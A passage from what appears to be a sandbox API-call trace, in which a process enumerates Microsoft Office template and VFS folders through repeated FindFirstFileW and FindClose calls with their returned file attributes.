Office\\root\\Templates\\1033\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9403f2f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xf30a3d00, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0xf30a3d00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.971] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.973] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9403f2f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xf30a3d00, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0xf30a3d00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.974] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.974] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9403f2f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xf30a3d00, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0xf30a3d00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.975] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9403f2f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5ecd020, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ecd020, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.978] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.979] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9403f2f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5ecd020, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ecd020, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.980] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.982] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9403f2f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5ecd020, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ecd020, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.986] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.987] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9403f2f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5ecd020, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ecd020, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.988] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.989] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\GettingStarted16\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5732510, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5ecd020, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ecd020, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.991] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.991] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\GettingStarted16\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5732510, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5ecd020, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ecd020, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.991] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.992] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9416fdf0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x9416fdf0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x9416fdf0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.993] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.995] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9416fdf0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x9416fdf0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x9416fdf0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.995] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.995] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9416fdf0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x9416fdf0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x9416fdf0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.997] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.997] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9416fdf0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x9416fdf0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x9416fdf0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.997] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.998] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Notebook Templates\\*.*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9416fdf0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb820f600, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb820f600, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.998] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.998] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Notebook Templates\\*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9416fdf0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb820f600, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb820f600, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.999] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\*.*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9416fdf0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x94469970, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x94469970, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.000] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.000] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9416fdf0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x94469970, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x94469970, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.001] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.001] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ecd2df0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x9ecd2df0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x9ecd2df0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.003] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.003] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ecd2df0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x9ecd2df0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x9ecd2df0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.003] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.003] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\*.*", lpFindFileData=0x1ed890 | out: lpFindFileData=0x1ed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb05d8f0, ftCreationTime.dwHighDateTime=0x1d30211, ftLastAccessTime.dwLowDateTime=0xf2eb4b20, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0xf2eb4b20, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.004] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.004] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\*", lpFindFileData=0x1ed890 | out: lpFindFileData=0x1ed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb05d8f0, ftCreationTime.dwHighDateTime=0x1d30211, ftLastAccessTime.dwLowDateTime=0xf2eb4b20, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0xf2eb4b20, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.004] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb43bcb0, ftCreationTime.dwHighDateTime=0x1d30211, ftLastAccessTime.dwLowDateTime=0xe213f410, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xe213f410, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.006] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.007] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb43bcb0, ftCreationTime.dwHighDateTime=0x1d30211, ftLastAccessTime.dwLowDateTime=0xe213f410, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xe213f410, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.007] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.008] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x875ea4f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x41ecf8a0, ftLastAccessTime.dwHighDateTime=0x1d30617, ftLastWriteTime.dwLowDateTime=0x41ecf8a0, ftLastWriteTime.dwHighDateTime=0x1d30617, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.010] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.010] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x875ea4f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x41ecf8a0, ftLastAccessTime.dwHighDateTime=0x1d30617, ftLastWriteTime.dwLowDateTime=0x41ecf8a0, ftLastWriteTime.dwHighDateTime=0x1d30617, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.010] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.011] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x875ea4f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xa570c3b0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0xa570c3b0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.012] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.013] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x875ea4f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xa570c3b0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0xa570c3b0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.014] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.015] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\Heartbeat\\*.*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa570c3b0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xa570c3b0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0xa570c3b0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.018] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.018] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\Heartbeat\\*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa570c3b0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xa570c3b0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0xa570c3b0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.019] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.019] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\VISIO\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41ecf8a0, ftCreationTime.dwHighDateTime=0x1d30617, ftLastAccessTime.dwLowDateTime=0x41ecf8a0, ftLastAccessTime.dwHighDateTime=0x1d30617, ftLastWriteTime.dwLowDateTime=0x41ecf8a0, ftLastWriteTime.dwHighDateTime=0x1d30617, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.020] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.020] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\VISIO\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41ecf8a0, ftCreationTime.dwHighDateTime=0x1d30617, ftLastAccessTime.dwLowDateTime=0x41ecf8a0, ftLastAccessTime.dwHighDateTime=0x1d30617, ftLastWriteTime.dwLowDateTime=0x41ecf8a0, ftLastWriteTime.dwHighDateTime=0x1d30617, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.020] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.021] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e776450, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xe0dfbf40, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xe0dfbf40, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.035] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.036] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e776450, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xe0dfbf40, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xe0dfbf40, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.037] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.038] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common Programs\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb3c9890, ftCreationTime.dwHighDateTime=0x1d30211, ftLastAccessTime.dwLowDateTime=0xb5ef3180, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ef3180, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.041] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.042] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common Programs\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb3c9890, ftCreationTime.dwHighDateTime=0x1d30211, ftLastAccessTime.dwLowDateTime=0xb5ef3180, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ef3180, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.043] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.043] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common Programs\\Microsoft Office 2016 Tools\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ecacc90, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5ef3180, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ef3180, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.050] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.051] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common Programs\\Microsoft Office 2016 Tools\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ecacc90, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5ef3180, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ef3180, 